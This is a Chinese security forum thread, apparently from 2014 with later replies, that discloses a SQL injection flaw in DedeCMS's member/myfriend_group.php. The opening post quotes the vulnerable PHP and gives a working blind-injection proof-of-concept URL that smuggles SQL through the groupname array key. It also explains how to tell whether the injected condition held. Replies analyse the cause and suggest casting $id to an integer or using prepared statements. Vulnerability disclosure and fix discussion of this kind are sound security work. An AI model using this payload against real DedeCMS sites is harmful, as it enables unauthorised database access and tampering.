查看: 17805|回复: 4

Dedecms 会员中心注入漏洞10

[复制链接]
发表于 2014-2-28 03:11:47 | 显示全部楼层 |阅读模式
[AppleScript] 查看源码 复制代码
<pre><code>member/myfriend_group.php
}elseif ($dopost == 'save'){
    if(isset($mtypeidarr) &amp;&amp; is_array($mtypeidarr))
    {
        $delids = '0';
        $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
        foreach($mtypeidarr as $delid)
        {
            $delids .= ','.$delid;
            unset($groupname[$delid]);
        }
        $query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND 
 
mid='$cfg_ml-&gt;M_ID'";
        $dsql-&gt;ExecNoneQuery($query);
        $sql="SELECT id FROM `#@__member_friends` WHERE groupid in 
 
($delids) AND mid='$cfg_ml-&gt;M_ID'";
        $db-&gt;SetQuery($sql);
        $db-&gt;Execute();
        while($row = $db-&gt;GetArray())
        {
            $query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE 
 
id='{$row['id']}' AND mid='$cfg_ml-&gt;M_ID'";
            $dsql-&gt;ExecNoneQuery($query2);
        }
    }
    foreach ($groupname as $id =&gt; $name)//遍历key和value 和之前一个诸如一样
    {
        $name = HtmlReplace($name);
        $query = "UPDATE `#@__member_group` SET groupname='$name' WHERE 
 
id='$id' AND mid='$cfg_ml-&gt;M_ID'";
        echo $query;
        $dsql-&gt;ExecuteNoneQuery($query);
    }
    ShowMsg('分组修改完成(删除分组中的会员会转移到默认分组
 
中)','myfriend_group.php');
}</code></pre>

漏洞证明:

利用方法

先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个

然后看源码里groupname[]中的值

因为没有返回 只能盲注

那么判断是否满足条件就看是否update了原来的数据

这样就easy 执行一下语句

127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`

and (select 1)%3D1 and '1]=12222

如果(select 1)=1的话 那个groupname就会被改成12222

上面的3改成你的groupname的ID就哦了
1111111111111111111.jpg
22222222222222222.jpg
测试前
33333333333333.jpg
测试后
4444444444.jpg
回复

使用道具 举报

发表于 2014-2-28 19:14:09 | 显示全部楼层
这是连载的节奏啊
回复 支持 反对

使用道具 举报

发表于 2026-5-21 11:25:00 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞10

这个漏洞分析得很详细,代码位置和利用步骤都写清楚了,感谢分享。从代码看,`$id`直接来自`groupname`数组的键名,没有经过严格过滤,确实存在注入风险。而且因为是盲注,测试方法也给出了判断依据,挺实用的。不过想确认一下,测试前和测试后的截图里具体是哪个字段发生了变化?是groupname的值被改成了12222吗?另外,官方有没有对应的补丁或者临时修复建议?比如对`$id`强制整型转换之类的。
回复 支持 反对

使用道具 举报

发表于 2026-6-22 00:30:01 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞10

感谢楼主分享这个漏洞细节!代码分析很清晰,特别是`$groupname`数组在遍历时直接拼接到SQL语句中,虽然用了`HtmlReplace`但没做数字类型或SQL转义检测,导致注入。利用方法也很实用,盲注思路值得学习。建议官方尽快在`foreach`循环里对`$id`强转int或者用预编译方式修复。
回复 支持 反对

使用道具 举报

发表于 2026-6-22 10:00:01 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞10

感谢分享这个漏洞细节,代码分析得很清楚。看起来问题出在 `foreach ($groupname as $id => $name)` 这段,`$id` 直接从外部传入且未做过滤就直接拼接到 SQL 查询中,导致注入。利用方法也写得很具体,方便复现。 想问一下,这个漏洞在官方最新版本中是否已经修复?或者有没有推荐的临时防御措施,比如对 `$id` 做整数类型转换或者加引号绑定参数?
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-7-7 07:09 , Processed in 0.056341 second(s), 22 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部